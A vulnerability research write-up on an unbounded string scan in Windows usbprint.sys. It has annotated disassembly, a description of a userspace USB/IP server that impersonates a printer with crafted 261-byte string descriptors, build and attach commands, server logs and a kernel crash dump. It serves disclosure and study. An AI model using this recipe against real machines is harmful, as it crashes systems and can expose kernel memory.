The story of a kernel-pool out-of-bounds read in Windows usbprint.sys, and how to build a proof of concept for it using nothing but a Linux userspace program and USB/IP or even using real USB hardware.
Disclosure to MSRC
“Thank you for your report and for working with the Microsoft Security Response Center (MSRC). We value the time and care you put into helping protect Microsoft and our customers. After careful review, this case was assessed as Moderate severity and is below Microsoft’s threshold for immediate servicing. A malicious USB device can supply crafted string descriptors that cause a temporary kernel crash. The demonstrated impact is limited to a local denial of service, which does not meet the Windows security servicing criteria for immediate servicing. We appreciate the details provided in your report. The information has been shared with the responsible engineering team for awareness and internal review. MSRC prioritizes vulnerabilities assessed as Important or Critical severity. Based on the current assessment, this case is not eligible for bounty, no CVE will be issued, and MSRC will not track the issue further. - Response by MSRC on Aug 21, 2026 “
usbprint.sys is Microsoft’s kernel-mode USB printer class driver. It binds to any USB device with a printer-class interface descriptor (bInterfaceClass == 7), plumbs bytes to the endpoints, and provides device-interface GUIDs that user-mode print code opens:
GUID_DEVINTERFACE_USBPRINT — {28d78fad-5a12-11d1-ae5b-0000f803a8c2} (legacy)GUID_DEVINTERFACE_IPPUSB_PRINT — {f2f40381-f46d-4e51-bce7-62de6cf2d098} (IPP-USB)Most of the driver’s surface area is glue. The interesting bits — from an audit perspective — are the places that take device-supplied data and do something with it. There are a few:
iManufacturer, iProduct, iSerialNumber) — the device chooses these bytes.MFG:/MDL:/etc. keys the device fills in.Every one of those is a place an attacker holding the USB peripheral end of the wire can hand the kernel bytes, and see what happens to them. We were looking for a memory-safety bug — somewhere the driver trusts device-supplied data it shouldn’t and mishandles it in kernel mode. A printer driver that parses attacker-controlled USB descriptors is a promising place to start.
So we started reading the code paths that turn device-supplied bytes into strings. The copy of usbprint.sys in front of us was the current Windows 11 (build 26100, x64) driver; every address in this post is an RVA from that image.
The function that stood out is named exactly what it does.
GetPrinterNameFromUsbStringsGetPrinterNameFromUsbStrings lives at RVA 0x14000635c. Its job is to build a human-readable printer name from the device’s iManufacturer and iProduct USB string descriptors — the string Windows ends up showing in Devices and Printers.
Decompiled, and annotated along the control flow of the good path, the whole function is short enough to read top to bottom:
140006378 void* r15 = *(arg1 + 0x40) ; r15 = device extension
14000639a P = ExAllocatePool2(0x40, 0x105, 0x50425355) ; buffer #1 (261 bytes, 'USBP', zeroed)
1400063af if (P != 0)
1400063d7 P_1 = ExAllocatePool2(0x40, 0x105, 0x50425355) ; buffer #2 (261 bytes, 'USBP', zeroed)
1400063e9 if (P_1 != 0)
140006413 iMfr = *(*(r15 + 0x4b8) + 0xe) ; device-descriptor[0x0e] = iManufacturer
140006416 rax_1 = USBPRINT_GetUsbStringDescriptor(arg1, iMfr, P, 0x105)
14000642d iProd = *(*(r15 + 0x4b8) + 0xf) ; device-descriptor[0x0f] = iProduct
140006430 rax_2 = USBPRINT_GetUsbStringDescriptor(arg1, iProd, P_1, 0x105)
140006443 if (rax_1 == 0xffffffff || rax_2 == 0xffffffff) ; either descriptor fetch failed?
140006544 return STATUS_NOT_FOUND
; ---- and here comes the interesting bit ----
14000644d int64_t len_mfr = -1
140006450 do len_mfr += 1 ; *** UNBOUNDED SCAN #1 ***
140006459 while (*(P + (len_mfr << 1) + 2) != 0) ; (iManufacturer buffer)
14000645b do len_prod += 1 ; *** UNBOUNDED SCAN #2 ***
140006463 while (*(P_1 + (len_prod << 1) + 2) != 0) ; (iProduct buffer)
14000647a out_bytes = ((len_mfr + len_prod) << 1) + 4 ; 2*(len_mfr + len_prod) + 4
140006481 alloc_sz = out_bytes + 0xc ; +12 bytes for the " (FAX)" suffix …
140006484 if ((*(r15 + 0x438) & 2) == 0) ; … unless the FAX flag is clear
140006484 alloc_sz = out_bytes ; then use the base size
14000648c P_2 = ExAllocatePool2(0x40, alloc_sz, 0x50425355) ; output buffer — SIZED FROM THE SCAN LENGTHS
14000649e if (P_2 == 0)
14000652a return STATUS_INSUFFICIENT_RESOURCES
1400064af fmt = u"%ws %ws (FAX)"
1400064bb if ((*(r15 + 0x438) & 2) == 0) fmt = u"%ws %ws" ; no FAX suffix
1400064c9 RtlStringCbPrintfW(P_2, alloc_sz, fmt, &P[2], &P_1[2]) ; format the two strings into P_2
1400064ea *arg2 = P_2 ; hand the result back to the caller
14000654c ExFreePool(P)
14000655b ExFreePool(P_1)
140006567 return status
Two 261-byte pool buffers get allocated (tag 'USBP' = 0x50425355). Each is filled by a call to USBPRINT_GetUsbStringDescriptor — one for iManufacturer, one for iProduct, with the string index pulled straight out of the cached device descriptor at +0x0e and +0x0f. Then the function needs the length of each string, so it can size the output buffer and format the two into one "%ws %ws" printer name.
To get those lengths, it does the obvious thing: scan for the terminating NUL. Read the two do…while loops slowly:
14000644d int64_t len_mfr = -1
140006450 do len_mfr += 1
140006459 while (*(P + (len_mfr << 1) + 2) != 0)
It increments a counter, dereferences the buffer at counter*2 + 2, and keeps going as long as the word at that address is non-zero. There is no upper bound on the counter. The compiler emitted exactly that — six instructions, no bound check anywhere:
; register setup before the loops:
; rdi = P (buffer #1, iManufacturer, 261 bytes)
; rbp = P_1 (buffer #2, iProduct, 261 bytes)
; r14 = P_1 + 2 (set by lea r14, [rbp+0x2])
; r12w = 0 (the value each word is compared against)
; rax = rdx = -1
140006450 48 ff c0 inc rax
140006453 66 44 39 64 47 02 cmp word [rdi+rax*2+0x2], r12w ; word[P + 2 + rax*2] == 0 ?
140006459 75 f5 jne 0x140006450 ; loop while non-zero — NO BOUND CHECK
14000645b 48 ff c2 inc rdx
14000645e 66 45 39 24 56 cmp word [r14+rdx*2], r12w ; word[P_1 + 2 + rdx*2] == 0 ?
140006463 75 f6 jne 0x14000645b ; loop while non-zero — NO BOUND CHECK
cmp word [rdi+rax*2+0x2], r12w / jne and its twin cmp word [r14+rdx*2], r12w / jne are the entire loop bodies. No compare against 261, no compare against 129, no cap of any kind. The loop terminates only when the word it reads is zero.
And there’s a nasty amplifier here. The result of the scan isn’t just the string length — it’s used to size the output allocation (alloc_sz at 0x14000648c) and as the buffer bound handed to RtlStringCbPrintfW (0x1400064c9). So if the scan walks long, the output buffer grows to match, and RtlStringCbPrintfW happily copies that many bytes out of the source buffers with its own %ws scan. The over-read doesn’t just compute a wrong length — it copies the over-read bytes into the string the function returns.
But there’s a precondition. For a scan to run off the end, the source buffer has to contain no zero word across its whole in-bounds span. ExAllocatePool2 zero-fills its allocations, so a well-behaved device never trips this: any byte the device doesn’t overwrite stays zero, and the very first zero word stops the scan safely inside the buffer.
So the question became: can a device actually fill 261 bytes end-to-end with non-zero content? To answer that, I followed the call into the function that fills them.
USBPRINT_GetUsbStringDescriptorUSBPRINT_GetUsbStringDescriptor (RVA 0x140005a68) is a thin wrapper around a URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE submission. Given a device, a string index, a caller buffer, and a length, it asks the device “give me string descriptor N” and copies whatever comes back into that buffer.
Decompiled:
140005a9a P = ExAllocatePool2(0x40, 0x88, 0x50425355) ; 136-byte URB, 'USBP', NonPaged/zeroed
140005aac if (P == 0) return -1 ; alloc failure
140005ac4 *P = 0xb0088 ; URB header: Length=0x88, Function=0x0B
; (URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE)
140005acd P[9] = arg4 ; URB->TransferBufferLength = arg4 (= 261)
140005ad0 *(P + 0x28) = arg3 ; URB->TransferBuffer = arg3 (caller's 261-byte buf)
140005ad4 *(P + 0x83) = 3 ; DescriptorType = USB_STRING_DESCRIPTOR_TYPE
140005adb *(P + 0x82) = arg2 ; Index = arg2 (string index)
140005ae2 P[0x21].w = 0x409 ; LanguageId = 0x0409 (en-US)
140005af4 rax = USBPRINT_CallUSBD(arg1, P, &timeout) ; submit, wait
140005b01 if (rax < 0 || P[9] <= 2) ; ONLY rejects call-failure OR <= 2 bytes returned
140005b1e return -1
140005b03 return arg3[0] ; else returns the device's first byte (bLength)
And the disassembly around the URB fill and the one post-completion check:
140005ac4 c7 00 88 00 0b 00 mov dword [rax], 0xb0088 ; URB Function 0x0B
140005acd 89 70 24 mov dword [rax+0x24], esi ; TransferBufferLength = esi (arg4 = 261)
140005ad0 48 89 58 28 mov qword [rax+0x28], rbx ; TransferBuffer = rbx (arg3)
140005ad4 c6 80 83 00 00 00 03 mov byte [rax+0x83], 0x3 ; DescriptorType = STRING
140005adb 40 88 a8 82 00 00 00 mov byte [rax+0x82], bpl ; Index = arg2
140005ae2 66 c7 80 84 00 00 00 09 04
mov word [rax+0x84], 0x409 ; LANGID = 0x0409
140005af4 e8 e7 c2 ff ff call USBPRINT_CallUSBD
140005afd 83 7f 24 02 cmp dword [rdi+0x24], 0x2 ; URB->TransferBufferLength <= 2 ?
140005b01 76 05 jbe 0x140005b08 ; yes -> fail
140005b03 0f b6 1b movzx ebx, byte [rbx] ; no -> return arg3[0]
; (NO CLIP, NO TERMINATE)
Four things are worth stating plainly, because they’re the whole ballgame:
The host asks for 261 bytes. arg4 is 0x105 = 261, written into URB->TransferBufferLength at 0x140005acd. Per the USB spec, a device may return anything from 0 up to that many bytes in the IN data stage. Whatever it sends, the USB stack copies into TransferBuffer and writes the actual byte count back into URB->TransferBufferLength (URB offset +0x24).
The only sanity check is > 2. After the transfer completes, the sole validation is cmp dword [rdi+0x24], 0x2 / jbe fail — reject the result only if two or fewer bytes came back. A device returning 261 bytes sails through.
No clip, no terminator, no scan. The function never clips the buffer to the device’s own bLength byte (arg3[0]), never writes a UTF-16 NUL, and never checks for one. The only zero bytes in that 261-byte buffer are whatever ExAllocatePool2’s zero-fill left in the region the device didn’t overwrite.
The return value is almost meaningless. It hands back arg3[0] — the device’s first byte — and the sole caller (GetPrinterNameFromUsbStrings) only ever compares it against -1. It carries no length information the caller acts on.
Put items 2 and 3 together: a malicious device that returns all 261 bytes as non-zero content passes the >2 check and leaves the caller holding a 261-byte buffer with no zero word anywhere in it.
That’s exactly the precondition the two scan loops in §2 needed. The two flaws stack: the helper doesn’t guarantee a terminator, so the consumer’s scan has nothing to terminate on, so it runs off the end. Either bug fixed alone would close the hole; neither is.
So — what does the scan read once it leaves the buffer? Whatever the pool allocator happened to place after the 261-byte block. On the modern segment heap a request that size lands in a small-block bucket, so the bytes right after it are things like pool block headers or other live 'USBP' allocations — the manufacturer scan can run straight into the sibling product buffer and beyond — and, at a page boundary, memory that isn’t mapped at all. Either way the driver is reading past the end of its own allocation: a textbook out-of-bounds read, and — as we’ll see once Driver Verifier is armed — a page fault waiting to happen.
The whole thing keys off one precondition an attacker fully controls: answer those two GET_DESCRIPTOR(STRING) requests with 261 bytes of non-zero content and no NUL, and the read runs off the end deterministically, every enumeration.
The whole defect in one picture. Two functions, one buffer. The producer fills it without terminating it; the consumer reads it without bounding the read — and the seam between them is where the read runs off the end:

USBPRINT_GetUsbStringDescriptor just fills a buffer; GetPrinterNameFromUsbStrings just measures a string. The vulnerability lives on the arrow between them — a buffer handed across with no terminator, to a reader that assumes one.
The bug fires when the driver processes a USB device that answers GET_DESCRIPTOR(STRING) with a fully-non-zero payload. The natural way to make that happen is to be that device.
There are several ways to present as a USB device from software, each with its own tradeoffs. You can flash the malicious behaviour onto real hardware — a microcontroller with a USB peripheral — which works but is slow to iterate on. You can use Linux’s raw-gadget interface on a single-board computer with USB-OTG, which enumerates as a genuine physical device but means maintaining hardware and moving at the speed of the UDC init sequence. Or you can skip the kernel gadget stack entirely and stand up a pure userspace USB/IP server: speak the USB/IP wire protocol directly from a userspace program, and let Windows attach to it over TCP exactly as it would to a real remote device.
For iteration speed the USB/IP server wins outright, and it’s the approach I used. Any Linux box with a C compiler can host it — no raw_gadget, no dummy_hcd, no libcomposite, no kernel modifications, nothing to load. You hand-write the USB descriptors as C structs, accept a TCP connection from the Windows client, answer the control transfers it sends during enumeration, and that’s the whole program. It ends up as a single self-contained file — poc_f2_usbip_server.c — that implements just enough of USB/IP protocol version 0x0111 to convince the Windows usbip-win2 vhci driver it’s talking to a USB printer.
At the wire level, the whole exchange — and the exact moment the bug fires — looks like this:

Everything the malicious end does is on the left; everything it refuses to do (the STALL) is what steers the kernel onto the vulnerable path. Conceptually, the server only has to get four things right. First, it has to look like a printer: the interface descriptor sets bInterfaceClass = 7 (USB_CLASS_PRINTER), which is the single field that makes usbprint.sys bind to the device at all — set it to anything else and the driver never touches the strings. Second, when Windows asks for the iManufacturer and iProduct string descriptors (string indices 1 and 2, language 0x0409), it replies with 261 bytes of 0x41 and no terminator — the malicious payload. It deliberately doesn’t bother setting a valid bLength or bDescriptorType in the first two bytes, because, as we saw, the driver never checks them. Third, and this is the detail that turns “sometimes fires” into “fires every time,” it STALLs the IEEE-1284 GET_DEVICE_ID class request. That request is how the driver would normally get the device’s MFG:/MDL: string; refusing it leaves the cached device-ID pointer NULL, so GetPrinterNameFrom1284Id fails and the driver drops into the vulnerable GetPrinterNameFromUsbStrings fallback. Fourth, it answers the ordinary enumeration choreography — SET_ADDRESS, GET_DESCRIPTOR(DEVICE/CONFIG), SET_CONFIGURATION, and stubs for the bulk endpoints — or Windows never completes enumeration and never asks for the strings in the first place.
Everything else is protocol plumbing: parse the USB/IP OP_REQ_DEVLIST / OP_REQ_IMPORT handshake, then loop over USBIP_CMD_SUBMIT packets, decode each control-transfer setup packet, and reply. One design note worth mentioning is that the server spawns a thread per incoming connection rather than handling one at a time. USB/IP lets the host detach and re-attach, and each re-attach is a completely fresh enumeration — a fresh trip through the vulnerable function — which is exactly what you want when you’re firing the bug repeatedly to calibrate pool grooming or chain it with something else. A single-threaded server would block in the first connection’s URB loop forever and never accept the second attach. The complete source is in the Appendix.
Kali Linux — or any modern distro with GCC and pthreads — is enough. Nothing to build into the kernel, no modules to load, no root required (except to bind the default USB/IP port 3240, which is privileged).
# Build
gcc -O2 -Wall -pthread -o poc_f2_usbip_server poc_f2_usbip_server.c
# Run — root only needed for the privileged port 3240
sudo ./poc_f2_usbip_server
The server prints its listening address and blocks in accept(). Confirm the listener is up and reachable:
ss -ltnp | grep 3240
Make sure the Windows box can reach TCP 3240 on the Kali box’s IP.
Install usbip-win2 (the maintained fork of the classic usbip-win; works cleanly on Windows 10/11). It’s a vhci driver plus the usbip.exe client. After a one-time usbip install:
usbip list -r <kali-ip> REM should show one entry, busid 1-1
usbip attach -r <kali-ip> -b 1-1 REM Windows enumerates the device
Windows sees a device appear on the vhci bus, PnP enumerates it, matches bInterfaceClass = 7 to the printer class, and hands it to usbprint.sys. The driver then does what drivers do — asks for the device’s descriptors, including the strings — and the vulnerable path runs.
The server is up on Kali and the client is installed on Windows (both from the previous section). Run it — two terminals, one showing the malicious server’s log, the other issuing the attach.
Kali (server side):
$ # ./poc_f2_usbip_server
poc_f2_usbip_server — usbprint.sys F2 OOB-read PoC
pure userspace USB/IP server, no kernel modules
VID=0x1209 PID=0x000a busid=1-1
malicious string descriptor: 261 bytes of 0x41, no NUL
listening on 0.0.0.0:3240
[conn] connection from 192.168.44.159:52916 (fd=4)
[conn] op header: version=0x0111 code=0x8003
[op] OP_REQ_IMPORT busid='1-1'
[op] -> import accepted; entering URB phase
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0100 wIndex=0x0000 wLength=64
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0100 wIndex=0x0000 wLength=18
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0200 wIndex=0x0000 wLength=255
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0300 wIndex=0x0000 wLength=255
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0302 wIndex=0x0409 wLength=255
[ctrl] -> MALICIOUS string descriptor idx=2: 261 bytes of 0x41, NO NUL
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0100 wIndex=0x0000 wLength=18
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0100 wIndex=0x0000 wLength=18
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0200 wIndex=0x0000 wLength=265
[ctrl] bmReqType=0x00 bRequest=0x09 wValue=0x0001 wIndex=0x0000 wLength=0
[ctrl] -> SET_CONFIGURATION(1)
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0300 wIndex=0x0409 wLength=259
[ctrl] bmReqType=0xa1 bRequest=0x00 wValue=0x0000 wIndex=0x0000 wLength=1009
[ctrl] -> CLASS request: STALL (forces GetPrinterNameFromUsbStrings fallback)
[ctrl] bmReqType=0xa1 bRequest=0x00 wValue=0x0000 wIndex=0x0000 wLength=1024
[ctrl] -> CLASS request: STALL (forces GetPrinterNameFromUsbStrings fallback)
[ctrl] bmReqType=0xa1 bRequest=0x00 wValue=0x0000 wIndex=0x0000 wLength=1024
[ctrl] -> CLASS request: STALL (forces GetPrinterNameFromUsbStrings fallback)
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0301 wIndex=0x0409 wLength=261
[ctrl] -> MALICIOUS string descriptor idx=1: 261 bytes of 0x41, NO NUL
[ctrl] bmReqType=0x80 bRequest=0x06 wValue=0x0302 wIndex=0x0409 wLength=261
[ctrl] -> MALICIOUS string descriptor idx=2: 261 bytes of 0x41, NO NUL
Those last four lines are the bug firing, narrated:
iManufacturer (STRING index 1) → we return 261 non-zero bytes.iProduct (STRING index 2) → same again.GetPrinterNameFromUsbStrings runs, and the two scan loops walk past the ends of the 261-byte buffers.Windows (attaching side):
C:\> usbip attach -r 192.168.56.10 -b 1-1
succesfully attached to port 0
C:\> pnputil /enum-devices /connected /class Printer
Instance ID: USBPRINT\Vid_1209&Pid_000a\...
Class Name: Printer
Status: Started
Driver Name: usbprint.inf_...
usbprint.sys is bound and the vulnerable path has run. On stock Windows the machine usually keeps running: the out-of-bounds access is a read, not a write, and the segment heap often keeps valid mapping past the 261-byte block, so the scan hits some zero word before it reaches an unmapped page. No crash, no dialog — the read still ran off the end, it just didn’t land on anything fatal this time. To force it to show its hand — unmissably, every time — arm Driver Verifier, which is exactly what the next section does.
We just watched the read run off the end without consequence. The way to prove it really left the buffer — not just plausibly — is to make the CPU catch it in the act. Turn on Driver Verifier Special Pool for usbprint.sys:
verifier /flags 0x9 /driver usbprint.sys
shutdown /r /t 0
Special Pool places each allocation flush against the end of a page, with a guard page immediately after it. The instant SCAN #1’s cmp reads past the allocation into that guard page, the CPU faults and the kernel bug-checks. Attach the PoC and, within seconds of enumeration:
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFC4844060D000,0x0000000000000000,0xFFFFF80B865A6453,0x0000000000000002)
Driver at fault:
*** usbprint.sys - Address FFFFF80B865A6453 base at FFFFF80B865A0000, DateStamp 631fdc5f
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
The faulting RIP is usbprint!GetPrinterNameFromUsbStrings + 0xf7. Do the arithmetic: 0xFFFFF80B865A6453 − 0xFFFFF80B865A0000 = 0x6453. The function begins at RVA 0x14000635c, so the offset within it is 0x140006453 − 0x14000635c = 0xf7. And 0x140006453 is precisely SCAN #1’s comparison instruction — cmp word [rdi+rax*2+0x2], r12w — the exact instruction the static analysis fingered. The kernel walked into the guard page and died on it.
READ_ADDRESS: ffffc4844060d000 Special pool
MM_INTERNAL_CODE: 2
IMAGE_NAME: usbprint.sys
MODULE_NAME: usbprint
FAULTING_MODULE: fffff80b865a0000 usbprint
PROCESS_NAME: System
TRAP_FRAME: ffff990296afb220 -- (.trap 0xffff990296afb220)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000087 rbx=0000000000000000 rcx=0000000000000000
rdx=ffffffffffffffff rsi=0000000000000000 rdi=0000000000000000
rip=fffff80b865a6453 rsp=ffff990296afb3b0 rbp=ffffc4844060eef0
r8=0000000000000600 r9=ffffc48440600240 r10=ffffc484353001a0
r11=ffffc48440600240 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
usbprint!GetPrinterNameFromUsbStrings+0xf7:
fffff80b`865a6453 664439644702 cmp word ptr [rdi+rax*2+2],r12w ds:00000000`00000110=????
Resetting default scope
LOCK_ADDRESS: fffff806b4a0b700 -- (!locks fffff806b4a0b700)
KD: Scanning for held locks.......................................
Resource @ nt!PiEngineLock (0xfffff806b4a0b700) Exclusively owned
Contention Count = 309
Threads: ffffc4843dd68040-01<*>
1 total locks
PNP_TRIAGE_DATA:
Lock address : 0xfffff806b4a0b700
Thread Count : 1
Thread address: 0xffffc4843dd68040
Thread wait : 0x2721e
STACK_TEXT:
ffff9902`96afa788 fffff806`b402fa92 : ffff9902`96afa808 00000000`00000001 00000000`00000080 fffff806`b4142901 : nt!DbgBreakPointWithStatus
ffff9902`96afa790 fffff806`b402efbe : 00000000`00000003 ffff9902`96afa8f0 fffff806`b4142b90 ffff9902`96afaeb0 : nt!KiBugCheckDebugBreak+0x12
ffff9902`96afa7f0 fffff806`b3f78557 : 00000000`00000000 fffff806`b3d8caf2 ffffc484`4060d000 00000000`00001000 : nt!KeBugCheck2+0xb2e
ffff9902`96afaf80 fffff806`b3d8e960 : 00000000`00000050 ffffc484`4060d000 00000000`00000000 ffff9902`96afb220 : nt!KeBugCheckEx+0x107
ffff9902`96afafc0 fffff806`b3cc3e96 : ffffc484`35300140 ffff8000`00000000 ffffc484`4060d000 0000007f`fffffff8 : nt!MiSystemFault+0x850
ffff9902`96afb0b0 fffff806`b4137fcb : ffffc484`40612000 fffff806`b45f2074 ffffc484`4060cef0 ffff9902`96afb2c9 : nt!MmAccessFault+0x646
ffff9902`96afb220 fffff80b`865a6453 : ffffffff`fd050f80 00000000`00000041 ffffc484`4060eef0 ffffc484`410cb040 : nt!KiPageFault+0x38b
ffff9902`96afb3b0 fffff80b`865a3ac7 : ffffc484`3d9e47b0 ffffc484`3de6d830 00000000`00000000 00000000`00000000 : usbprint!GetPrinterNameFromUsbStrings+0xf7
ffff9902`96afb410 fffff806`b3cdccfb : 00000000`00000003 fffff806`b3cdcc0c 00000000`00000000 ffffc484`3d9e47b0 : usbprint!USBPRINT_Dispatch+0x517
ffff9902`96afb4c0 fffff806`b4626d84 : ffffc484`3d9e47b0 fffff806`b460d08d 00000000`00000001 fffff806`b3cde000 : nt!IopfCallDriver+0x5b
ffff9902`96afb500 fffff806`b3cdcc88 : ffffc484`3de6d830 00000000`00000000 ffffc484`3d9e47b0 00000000`00000000 : nt!IovCallDriver+0x44
ffff9902`96afb540 fffff806`b4343bb0 : ffffc484`3de6d830 00000000`00000000 ffff9902`96afb618 ffffc484`3de6d830 : nt!IofCallDriver+0x28
ffff9902`96afb570 fffff806`b43fcd0b : 00000000`c00000bb ffff9902`96afb660 00000000`00000001 ffffc484`3de6d830 : nt!IopSynchronousCall+0xf8
ffff9902`96afb5e0 fffff806`b44f833d : 00000000`00000000 00000000`00000001 ffff9902`96afb780 00000000`00000000 : nt!PnpQueryDeviceText+0x6f
ffff9902`96afb680 fffff806`b44f8142 : 00000000`00000010 ffffc484`411f8620 00000000`00000103 ffffc484`411f8620 : nt!PiProcessNewDeviceNode+0x1c9
ffff9902`96afb830 fffff806`b4342ae3 : ffffc484`411f8620 ffff9902`96afb8e1 00000000`00000001 ffffc484`3fbf2590 : nt!PiProcessNewDeviceNodeAsync+0x46
ffff9902`96afb860 fffff806`b44bb777 : ffffc484`411f8270 ffffc484`3fbf2590 ffff9902`96afb980 fffff806`00000002 : nt!PipProcessDevNodeTree+0x603
ffff9902`96afb930 fffff806`b3ee42fc : 00000001`00000003 ffffc484`411f8270 ffffc484`3fbf2590 00000000`00000000 : nt!PiProcessReenumeration+0x9f
ffff9902`96afb980 fffff806`b3d65c3b : ffffc484`3dd68040 ffffc484`357b1be0 fffff806`b3ee3cb0 ffffc484`357b1be0 : nt!PnpDeviceActionWorker+0x64c
ffff9902`96afba40 fffff806`b3efeaba : ffffc484`3dd68040 ffffc484`3dd68040 fffff806`b3d65780 ffffc484`357b1be0 : nt!ExpWorkerThread+0x4bb
ffff9902`96afbbf0 fffff806`b4129fa4 : ffff9a80`35dc0180 ffffc484`3dd68040 fffff806`b3efea60 00007ff9`b4b9a950 : nt!PspSystemThreadStartup+0x5a
ffff9902`96afbc40 00000000`00000000 : ffff9902`96afc000 ffff9902`96af6000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34
SYMBOL_NAME: usbprint!GetPrinterNameFromUsbStrings+f7
That’s a 0x50 PAGE_FAULT_IN_NONPAGED_AREA, triggered from a Linux userspace program over TCP, with no code executing on the Windows box.
A couple of things stood out.
Two small omissions, stacked, make the bug. Neither function is egregious on its own. USBPRINT_GetUsbStringDescriptor “just” forgets to clip and terminate; GetPrinterNameFromUsbStrings “just” forgets to bound its scan. Either one, fixed, neutralises the other. It’s the interaction — a producer that doesn’t guarantee a terminator feeding a consumer that assumes one — that turns two forgettable code-review nits into a kernel-mode out-of-bounds read. That’s a recurring shape: the dangerous bug lives in the seam between two functions that each look fine in isolation.
The PoC harness is smaller than the writeup. Almost every line of poc_f2_usbip_server.c is USB/IP protocol plumbing. The bug-specific logic is the five-line build_malicious_string, the two-line class-request STALL, and a couple of dozen lines of static descriptors. If you already have a USB/IP server skeleton for some other device bug, retargeting it for this one is an afternoon. That’s the real value of the “pure userspace + USB/IP” approach: no kernel gadget module, no hardware to own, no waiting on a UDC — just a TCP socket and a handful of descriptor bytes standing in for a whole malicious printer.
And that’s the uncomfortable part. The thing on the other end of the wire didn’t have to be clever. It just had to answer one routine question — “what’s your manufacturer name?” — with 261 bytes and no full stop.
poc_f2_usbip_server.c — pure-userspace USB/IP server. Speaks the USB/IP wire protocol directly to usbip-win2, forges a printer-class device, and answers iManufacturer / iProduct with the malicious payload.
PoC source in this repo: poc_f2_usbip_server.c